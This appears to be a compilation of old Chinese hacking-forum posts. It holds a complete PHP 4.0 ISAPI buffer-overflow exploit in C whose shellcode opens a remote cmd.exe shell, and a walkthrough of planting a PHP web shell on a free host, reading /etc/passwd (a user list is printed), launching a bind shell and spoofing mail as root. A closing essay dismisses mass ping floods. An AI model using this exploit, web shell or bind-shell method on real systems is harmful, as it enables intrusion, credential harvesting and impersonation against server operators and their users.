if (lpECB->GetServerVariable(lpECB->ConnID, "PATH_INFO", static_variable_buf, &variable_len)
#else
if (lpECB->GetServerVariable(lpECB->ConnID, "SCRIPT_NAME", static_variable_buf, &variable_len)

/* php4.0.0漏洞所在地，缓冲溢出。此时的variable_len变量已经是上次调用GetServerVariable 的返回变量 */
/* php4.0.3 已经修补 */

#endif
&& static_variable_buf[0]) {
php_register_variable("PHP_SELF", static_variable_buf, track_vars_array ELS_CC PLS_CC);

/*
因为形参被覆盖，而这形参又很难伪造，所以传统的溢出攻击因为这个调用不能返回而无效
但我们可以使用异常结构攻击，可以参见我的相关的文章
*/

}

/* Register the internal bits of ALL_HTTP */

variable_len = ISAPI_SERVER_VAR_BUF_SIZE;

if (lpECB->GetServerVariable(lpECB->ConnID,
    "ALL_HTTP", static_variable_buf, &variable_len)) {
variable_buf = static_variable_buf;
} else {
if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) {
variable_buf = (char *) emalloc(variable_len);
if (!lpECB->GetServerVariable(lpECB->ConnID, "ALL_HTTP", variable_buf,
    &variable_len)) {
efree(variable_buf);
return;
}
} else {
return;
}
}
variable = php_strtok_r(variable_buf, "\r\n", &strtok_buf);
while (variable) {
char *colon = strchr(variable, ':');

if (colon) {
char *value = colon+1;

while (*value==' ') {
value++;
}
*colon = 0;
php_register_variable(variable, value, track_vars_array ELS_CC PLS_CC);
*colon = ':';
}
variable = php_strtok_r(NULL, "\r\n", &strtok_buf);
}
if (variable_buf!=static_variable_buf) {
efree(variable_buf);
}
}

因为形参的问题，采用的覆盖异常处理结构的办法使得shellcode代码得到控制。但因为异常结构代码相对不统一，可能需要根据被攻击系统的WINDOWS版本调整相关参数。具体攻击测试代码：

/*
php4.0 overflow program phphack.c ver 1.0
copy by yuange <yuange@163.net> 2000。08。16

*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <httpext.h>
// #define DEBUG

//#define RETEIPADDR eipwin2000
#define FNENDLONG 0x08
#define NOPCODE 'B' // INC EDX 0x90
#define NOPLONG 0x3c
#define BUFFSIZE 0x20000

#define RETEIPADDRESS 0x900+4
#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9
#define DATAXORCODE 0xAA
#define LOCKBIGNUM 19999999
#define LOCKBIGNUM2 13579139

#define SHELLPORT 0x1f90 //0x1f90=8080
#define WEBPORT 80

void shellcodefnlock();
void shellcodefn(char *ecb);

void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len);

int main(int argc, char **argv)
{
char *server;
char *str="LoadLibraryA""\x0""CreatePipe""\x0"
"CreateProcessA""\x0""CloseHandle""\x0"
"PeekNamedPipe""\x0"
"ReadFile""\x0""WriteFile""\x0"
"Sleep""\x0"
"cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
"XORDATA""\x0"
"strend";
char buff1[]="GET /default.php4";
char buff2[]=" HTTP/1.1 \nHOST:";
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char SRLF[]="\x0d\x0a\x00\x00";

char eipjmpesp[] ="\xb7\x0e\xfa\x7f";
// push esp
// ret
char eipexcept[]="\xb8\x0e\xfa\x7F";
// ret
char eipjmpesi[]="\x08\x88\xfa\x7F";
char eipjmpedi[]="\xbe\x8b\xfa\x7F";
char eipjmpebx[]="\x73\x67\xfa\x7F";
// push ebx
// ret
/*
jmp ebx功能代码地址， 中文WINNT、中文WIN2000此地址固定
这是处于c_936.nls模块
win2000发生异常调用异常处理结构代码时ebx指向异常结构。winnt老版本是esi,可用7ffa8808,后面版本是edi,可用7ffa8bbe。
*/

char buff[BUFFSIZE];
char recvbuff[BUFFSIZE];
char shellcodebuff[0x1000];
struct sockaddr_in s_in2,s_in3;
struct hostent *he;
char *shellcodefnadd,*chkespadd;
unsigned int sendpacketlong;
// unsigned
int i,j,k;
unsigned char temp;
int fd;
u_short port,port1,shellcodeport;
SOCKET d_ip;
WSADATA wsaData;
int offset=0;
int xordatabegin;
int lockintvar1,lockintvar2;
char lockcharvar;
int OVERADD=RETEIPADDRESS;
int result;

fprintf(stderr,"\n PHP4.0 FOR WIN32 OVERFLOW
    PROGRAM 2.0 .");
fprintf(stderr,"\n copy by yuange 2000.8.16.");
fprintf(stderr,"\n wellcome to my homepage http://yuange.yeah.net .");
fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
fprintf(stderr,"\n usage: %s <server> [webport] \n", argv[0]);

if(argc <2){
fprintf(stderr,"\n please enter the web server:");
gets(recvbuff);
for(i=0;i<strlen(recvbuff);++i){
if(recvbuff!=' ') break;
}

server=recvbuff;
if(i<strlen(recvbuff)) server+=i;
/*
fprintf(stderr,"\n please enter the offset(0-3):");
gets(buff);
for(i=0;i<strlen(buff);++i){
if(buff!=' ') break;
}
offset=atoi(buff+i);
*/
}

result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}

/*
if(argc>2){
offset=atoi(argv[2]);
}
OVERADD+=offset;
if(offset<0||offset>3){
fprintf(stderr,"\n offset error !offset 0 - 3 .");
gets(buff);
exit(1);
}

*/

if(argc <2){
// WSACleanup( );
// exit(1);
}
else server = argv[1];

for(i=0;i<strlen(server);++i){
if(server!=' ')
break;
}
if(i<strlen(server)) server+=i;

for(i=0;i+3<strlen(server);++i){

if(server==':'){
if(server[i+1]=='\\'||server[i+1]=='/'){
if(server[i+2]=='\\'||server[i+2]=='/'){
server+=i;
server+=3;
break;
}
}
}
}
for(i=1;i<=strlen(server);++i){
if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
}

d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he)
{
WSACleanup( );
printf("\n Can't get the ip of %s !\n",server);
gets(buff);
exit(1);
}
else memcpy(&d_ip, he->h_addr, 4);
}

if(argc>2) port=atoi(argv[2]);
else port=WEBPORT;
if(port==0) port=WEBPORT;

fd = socket(AF_INET, SOCK_STREAM,0);
i=8000;
setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));

s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(port);
s_in3.sin_addr.s_addr = d_ip;
printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));

if(connect(fd, (struct sockaddr *)&s_in3,
    sizeof(struct sockaddr_in))!=0)
{
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n connect err.");
gets(buff);
exit(1);
}

_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}

shellcodefnadd=shellcodefnlock;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}

for(k=0;k<=0x500;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}
memset(buff,NOPCODE,BUFFSIZE);
if(argc>4){
memcpy(buff,argv[4],strlen(argv[4]));
}
else memcpy(buff,buff1,strlen(buff1));
// strcpy(buff,buff1);
// memset(buff+strlen(buff),NOPCODE,1);

memcpy(buff+OVERADD+0x60+NOPLONG,shellcodefnadd+k+4,0x80);
// memcpy(buff+NOPLONG,shellcodefnadd+k+4,0x80);

shellcodefnadd=shellcodefn;
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}

for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
}

memcpy(shellcodebuff,shellcodefnadd,k); //j);
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
for(i=0;i<0x400;++i){
if(memcmp(str+i,"strend",6)==0) break;
}
memcpy(shellcodebuff+k,str,i);

sendpacketlong=k+i;
for(k=0;k<=0x200;++k){
if(memcmp(buff+OVERADD+NOPLONG+k,fnendstr,FNENDLONG)==0) break;

// if(memcmp(buff+NOPLONG+k,fnendstr,FNENDLONG)==0) break;

}

for(i=0;i<sendpacketlong;++i){
temp=shellcodebuff;
temp^=DATAXORCODE;
if(temp<=0x10||temp==' '||temp=='.'||temp=='/'||temp=='\\'||temp=='0'||temp=='?'||temp=='%'){
buff[OVERADD+NOPLONG+k]='0';

// buff[NOPLONG+k]='0';
++k;
temp+=0x40;
}
buff[OVERADD+NOPLONG+k]=temp;

// buff[NOPLONG+k]=temp;
++k;
}

// memcpy(buff+OVERADD+NOPLONG+k,shellcodebuff,sendpacketlong);
// k+=sendpacketlong;

/*
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+OVERADD+i,eipexcept,4);
}
memcpy(buff+OVERADD+i,eipjmpesp,4);
*/
for(i=-40;i<0x40;i+=8){
memcpy(buff+OVERADD+i,"\x42\x42\x42\x2D",4);
memcpy(buff+OVERADD+i+4,eipjmpebx,4);
}
memcpy(buff+OVERADD+i+8,"\x42\x42\x42\x42\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x5b\xff\x63\x64\x42\x42\x42\x42",24);

// fprintf(stderr,"\n offset:%d",offset);

/*

192.168.8.48
if(argc>2){
server=argv[2];
if(strcmp(server,"win9x")==0){
memcpy(buff+OVERADD,eipwin9x,4);
fprintf(stderr,"\n nuke win9x.");
}
if(strcmp(server,"winnt")==0){
memcpy(buff+OVERADD,eipwinnt,4);
fprintf(stderr,"\n nuke winnt.");
}

}

*/

sendpacketlong=k+OVERADD+i+NOPLONG;
//sendpacketlong=k+NOPLONG;

strcpy(buff+sendpacketlong,buff2);
strcpy(buff+sendpacketlong+strlen(buff2),server);

sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"\n\n");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
}
memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);

strcpy(buff+sendpacketlong+OVERADD+i+4,"\xff\x63\x64");

strcpy(buff+sendpacketlong+OVERADD+i+20,"\n\n");
*/

// printf("\n send buff:\n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);

/*
#ifdef DEBUG
_asm{
lea esp,buff
add esp,OVERADD
ret

}
#endif

*/
if(argc>6) {
if(strcmp(argv[6],"debug")==0) {
_asm{
lea esp,buff
add esp,OVERADD
ret
}
}
}

xordatabegin=0;
for(i=0;i<1;++i){
j=sendpacketlong;
fprintf(stderr,"\n send packet %d bytes.",j);
// fprintf(stderr,"\n sned:\n%s ",buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,"\n ok!\n");
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,"\n recv:\n %s",recvbuff);
}

}

k=1;
ioctlsocket(fd, FIONBIO, &k);

// fprintf(stderr,"\n now begin: \n");

lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;

/*
for(i=0;i<strlen(SRLF);++i){
SRLF^=DATAXORCODE;
}
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
*/
k=1;
while(k!=0){
if(k<0){
gets(buff);
k=strlen(buff);
memcpy(buff+k,SRLF,3);
// send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff);
for(i=0;i<k+2;++i){
lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
buff^=lockcharvar; // DATAXORCODE;
// buff^=DATAXORCODE;
}
send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0)
    {
xordatabegin=1;
k=-1;
}

if(k>0){
// fprintf(stderr,"recv %d bytes",k);
if(xordatabegin==1){
for(i=0;i<k;++i){
lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
buff^=lockcharvar; // DATAXORCODE;
}
}
buff[k]=0;
fprintf(stderr,"%s",buff);
}
// if(k==0) break;
}
closesocket(fd);
WSACleanup( );
fprintf(stderr,"\n the server close connect.");
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
_emit('.')

_emit('p')
_emit('h')
_emit('p')
_emit('4')
_emit('?')

jmp next
getediadd: pop EDI
push EDI
pop ESI
push ebx // ecb
push ebx // call shellcodefn ret address
xor ecx,ecx
looplock: lodsb
cmp al,cl
jz shell
cmp al,0x30
jz clean0
sto: xor al,DATAXORCODE
stosb
jmp looplock
clean0: lodsb
sub al,0x40
jmp sto
next: call getediadd
shell: NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP

}
}

void shellcodefn(char *ecb)
{ char Buff[SHELLBUFFSIZE+2];
int *except[2];

FARPROC Sleepadd;
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;

FARPROC apifnadd[1];
FARPROC procgetadd=0;
FARPROC writeclient= *(int *)(ecb+0x84);
FARPROC readclient = *(int *)(ecb+0x88);
HCONN ConnID = *(int *)(ecb+8) ;
char *stradd;
int imgbase,fnbase,k,l;
HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;

PROCESS_INFORMATION ProcessInFORMation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
int lBytesRead;
int lockintvar1,lockintvar2;
char lockcharvar;

SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
getstradd: pop stradd
lea EDI,except
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;

imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
//注意这儿处理了搜索页面不在情况。

if(procgetadd==0) goto die ;

for(k=1;k<SHELLFNNUMS;++k) {
apifnadd[k]=procgetadd(libhandle,stradd);
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}

sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;

CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);

// ZeroMemory(&siinfo,sizeof(siinfo));
_asm{
lea EDI,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_HIDE;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1;
siinfo.hStdError =hWritePipe1;
k=0;
// while(k==0)
// {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInFORMation);
stradd+=8;
// }
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
k=8;
writeclient(ConnID,stradd+9,&k,0);

lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;

while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) {
for(k=0;k<lBytesRead;++k){
lockintvar2=lockintvar2*0x100;
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
}
}
else{
lBytesRead=SHELLBUFFSIZE;
k=readclient(ConnID,Buff,&lBytesRead);
if(k!=1){
k=8;
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
while(1){
Sleepadd(0x7fffffff); //僵死
}

}
else{
for(k=0;k<lBytesRead;++k){
lockintvar1=lockintvar1*0x100;
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000);
}
}
}

die: goto die ;
_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}

void cleanchkesp(char *fnadd,char *shellbuff,char
    * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;

for(i=0;i<len;++i){
temp=shellbuff;
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}

--
不得其门而入:(
※ 来源:·安全焦点讨论区 www.xfocus.net·


php配置漏洞攻击

Bytes

这几天很闲~没什么事情做~成天在网上"闲逛",四处看资料文章.偶然的机会发现国内不少提供php的免费个人主页服务器存在php的漏洞~,这些漏洞可以说是致命的!

首先这些站点的问题主要出在允许使用system(),exec()等等这些函数,熟悉php的朋友应该知道,这些函数是调用系统指令的(虽然通过web server php程序只能有nobody权限),而且一般用户只要申请一个空间就可以获取局部的可写权限,令用户可以写一个web sh*ll程序执行命令.在这些服务器上一般用户不能够登陆,也就是nologin(没有登陆sh*ll,管理员可没那么"慷慨"!),这样利用system(),exec()这些函数就可以bind一个sh*ll出来~!本文以虎翼网(www.51.net)的空间为例子(他是不是所有的服务器都有这个毛病我不知道~我只试验了我的空间所在的服务器):
1.写一个websh*ll先(php很容易做到)
?>php
#sh*ll.php3
echo"
";
system("$cmd");
echo"
";
?>
2.上传到空间
3.执行(具体的服务器马赛克处理)
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=id(看一下权限到底多大)
uid=171047(xxxx) gid=51(xxx) groups=51(xxx), 65534(nobody)
root真的很吝啬啊!
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=uname -ras(看看系统)
FreeBSD xxx.51.net 3.3-RELEASE FreeBSD 3.3-RELEASE #11: Tue Mar 20 00:58:09 CST 2001 root@51.net:/usr/src/sys/compile/51NET i386
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=cat /etc/passwd(shadow是铁定看不到)
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:107353:51:USER:/hometty:/local/bin/null
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
ftp:*:70:70:FTP Daemon:/nonexistent:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
quotauser1:*:997:51:quotauser:/home/quotauser1:/sbin/nologin
quotauser2:*:998:51:quotauser:/home/quotauser2:/sbin/nologin
quotauser3:*:999:51:quotauser:/home/quotauser3:/sbin/nologin
tian:*:1002:1002::/localtian:/local/bin/ksh
sysadmin:*:1001:1001:System Administrator:/local/sysadmin:/local/bin/ksh
test2:*:9999:51::/hometest2:/local/bin/null
xhjj:*:106200:51:USER:/home/xhjj:/sbin/nologin
zhinan:*:106201:51:USER:/home/zhinan:/local/bin/null
yes2:*:106202:51:USER:/home/yes2:/local/bin/null
daboy:*:106203:51:USER:/home/daboy:/local/bin/null
yesky:*:106204:51:USER:/home/yesky:/local/bin/null
yesk:*:106205:51:USER:/home/yesk:/local/bin/null
lnsyzzg:*:106206:51:USER:/home/lnsyzzg:/local/bin/null
fog:*:106207:51:USER:/home/fog:/local/bin/null
renshou:*:106208:51:USER:/home/renshou:/local/bin/null
hilen:*:106209:51:USER:/home/hilen:/local/bin/null
hapybird:*:106210:51:USER:/home/hapybird:/sbin/nologin
xiewei:*:106211:51:USER:/home/xiewei:/sbin/nologin
www.r:*:106212:51:USER:/home/wwwer:/local/bin/null
larry:*:106213:51:USER:/home/larry:/local/bin/null
sunboys:*:106214:51:USER:/home/sunboys:/local/bin/null
everydayyuki:*:106215:51:USER:/home/everydayyuki:/local/bin/null
linguanxi:*:106216:51:USER:/home/linguanxi:/local/bin/null
baobao:*:106217:51:USER:/home/baobao:/local/bin/null
chaoshan:*:106218:51:USER:/home/chaoshan:/local/bin/null
hrstudio:*:106219:51:USER:/home/hrstudio:/local/bin/null
dengxian:*:106220:51:USER:/home/dengxian:/local/bin/null
simonstone:*:106221:51:USER:/home/simonstone:/local/bin/null
chenjian:*:106222:51:USER:/home/chenjian:/local/bin/null
lvxiangml:*:106223:51:USER:/home/lvxiangml:/local/bin/null
zzbxaxa:*:106224:51:USER:/home/zzbxaxa:/local/bin/null
pc2000:*:106225:51:USER:/home/pc2000:/local/bin/null
startexcel:*:106226:51:USER:/home/startexcel:/local/bin/null
model:*:106227:51:USER:/home/model:/local/bin/null
leogirl:*:106228:51:USER:/home/leogirl:/local/bin/null
fohcn:*:106229:51:USER:/home/fohcn:/local/bin/null
ljok:*:106230:51:USER:/home/ljok:/local/bin/null
baorui:*:106231:51:USER:/home/baorui:/local/bin/null
fky-jack:*:106232:51:USER:/home/fky-jack:/local/bin/null
zhaowen:*:106233:51:USER:/home/zhaowen:/local/bin/null
xiaojiaoya:*:106234:51:USER:/home/xiaojiaoya:/local/bin/null
zyinter:*:106235:51:USER:/home/zyinter:/local/bin/null
power:*:106236:51:USER:/home/power:/local/bin/null
feefan:*:106237:51:USER:/home/feefan:/local/bin/null
paradise:*:106238:51:USER:/home/paradise:/local/bin/null
wulc:*:106239:51:USER:/home/wulc:/local/bin/null
jcm:*:106240:51:USER:/home/jcm:/local/bin/null
liangxiaom:*:106241:51:USER:/home/liangxiaom:/local/bin/null
jingder:*:106242:51:USER:/home/jingder:/local/bin/null
hanjun:*:106243:51:USER:/home/hanjun:/local/bin/null
adai:*:106244:51:USER:/home/adai:/local/bin/null
fightben:*:106245:51:USER:/home/fightben:/local/bin/null
lihonghui-ooo:*:106246:51:USER:/home/lihonghui-ooo:/local/bin/null
xeno:*:106247:51:USER:/home/xeno:/local/bin/null
..................(太多了~省略)
只有几个用户有sh*ll可以登陆,cp到我的目录下面,等一下分离出usrename看看有没有白痴username=passwd的~呵呵~
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=set
HOME=/
PS1=$
OPTIND=1
PS2=>
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin
IFS=
他XX的 ~好差的"环境",被设置成这样....
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=cat /etc/hosts
# $FreeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $
#
# Host Database
# This file should contain the addresses and aliases
# for local hosts that share this file.
# In the presence of the domain name service or NIS, this file may
# not be consulted at all; see /etc/host.conf for the resolution order.
#
#
127.0.0.1 localhost localhost.my.domain myname.my.domain
#
# Imaginary network.
#10.0.0.2 myname.my.domain myname
#10.0.0.3 myfriend.my.domain myfriend
#
# According to RFC 1918, you can use the following IP networks for
# private nets which will never be connected to the Internet:
#
# 10.0.0.0 - 10.255.255.255
# 172.16.0.0 - 172.31.255.255
# 192.168.0.0 - 192.168.255.255
#
#................................(后门全市废话)
不算太小啊~hosts呵呵~
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=whereis -b gcc
(老天保佑~有gcc)
gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!)
我来试试看~弄一个大家伙上去,编译一下,哈哈~速度好快!
websh*ll太累了,bind一个sh*ll出来方便一点...(上传binsh*ll程序,自己写也可以用perl/C,都不太难)
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=gcc -o bind bindsh*ll.c
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=./bind 1234
bind sh*ll too port 1234
telnet xxx.51.net 1234
.....下面省略,反正就可以执行命令了
嗯~好像这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的好像有~,不过最近停了.....
lynx http://xxx.51.net/cgi-bin/sh*ll.php?cmd=/usr/sbin/rpcinfo -p localhost
portmapper 100000 portmap sunrpc
rstatd 100001 rstat rstat_svc rup perfmeter
rusersd 100002 rusers
nfs 100003 nfsprog
ypserv 100004 ypprog
mountd 100005 mount showmount
ypbind 100007
walld 100008 rwall shutdown
yppasswdd 100009 yppasswd
etherstatd 100010 etherstat
rquotad 100011 rquotaprog quota rquota
sprayd 100012 spray
3270_mapper 100013
rje_mapper 100014
selection_svc 100015 selnsvc
database_svc 100016
rexd 100017 rex
alis 100018
sched 100019
llockmgr 100020
nlockmgr 100021
x25.inr 100022
statmon 100023
status 100024
bootparamd 100026 bootparam
ypupdated 100028 ypupdate
keyserv 100029 keyserver
tfsd 100037
nsed 100038
nsemntd 100039
pcnfsd 150001 pcnfs
amd 300019
cmsd 100068
ttdbserver 100083 tooltalk
哈哈~好像可以mount,等一下用肉鸡showmount看看~这我就不说了...
哈哈~玩玩 mail()看看
>?php
#mail.php3
mail("xxx@sina.com","hi","i'm Bytes");
?>
快去信箱看看~~~GOGOGO >>>>.....呀~真不错~发信人以root@51.net..
快去冒充root给大家发信~Welcome to www.uu55.org~哈哈~(不要把~诈骗?!)

后记

上次觉得绿色兵团%90的数据有些危言耸听,现在觉得到是很有道理,中国的服务器总是要千奇百怪得出些洞子让别人玩~呵呵~哈How 慷慨 they are@!! ^@^
所以如果遇到一般手法实在进不去的服务器~别急,研究研究~它的CGI/php程序吧~难说不是配置问题就是程序本身有问题,那岂不乐死你了~~~~~~~~哈哈~!
最后还是要大家,要有个度别太狠~咱几十万"劳苦大众"的HomePage还要靠他呢!


Ping Flood攻击

Ping Flood攻击
本帖版权归原作者，其它媒体或网站转载请与e龙西祠胡同[http://www.xici.net]或原作者联系，并注明出处。
作者: shotgun 发表日期: 2001-05-06 11:09:44 返回《黑客也是侠》 快速返回

最近不少人又来号召大家一起去Ping死什么什么网站，政治我不懂，不过从技术上来说，无论什么拒绝服务攻击方式，都需要满足一个条件：用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的：用最大的资源换取对方最小的伤害；也是可笑的：人民战争大概属于50多年前的行为了，在互联网时代，并不是人多就能如何如何的。

一个基本的认识：互联网的中心在美国，中国的这一部分只不过是互联网的一个小小分支（也就是相当于美国的一个城域网的概念），我们通往北美的光缆称为“北美出口”，出口什么意思？大门呀，换句话说，也就是瓶颈，这样大家Ping来Ping去，首先死的是中国的出口网关（中国的北美出口带宽也不过是GB级的，很宽么？经得住大家一起往外挤么？），当然，北美出口歇掉了，我们显然是看不见美国网站了，喜欢做阿Q的不妨对自己和别人说：“美国被我们炸掉了！”（奇怪吧？可是前些时候不是有自己炮制白宫“被黑”页面到处散发的?）可是这样不如我们关掉国门、断开互联网，自己在家里做强国梦好了，想象中我们仍然是在强大的唐朝，世界各地都来朝拜。

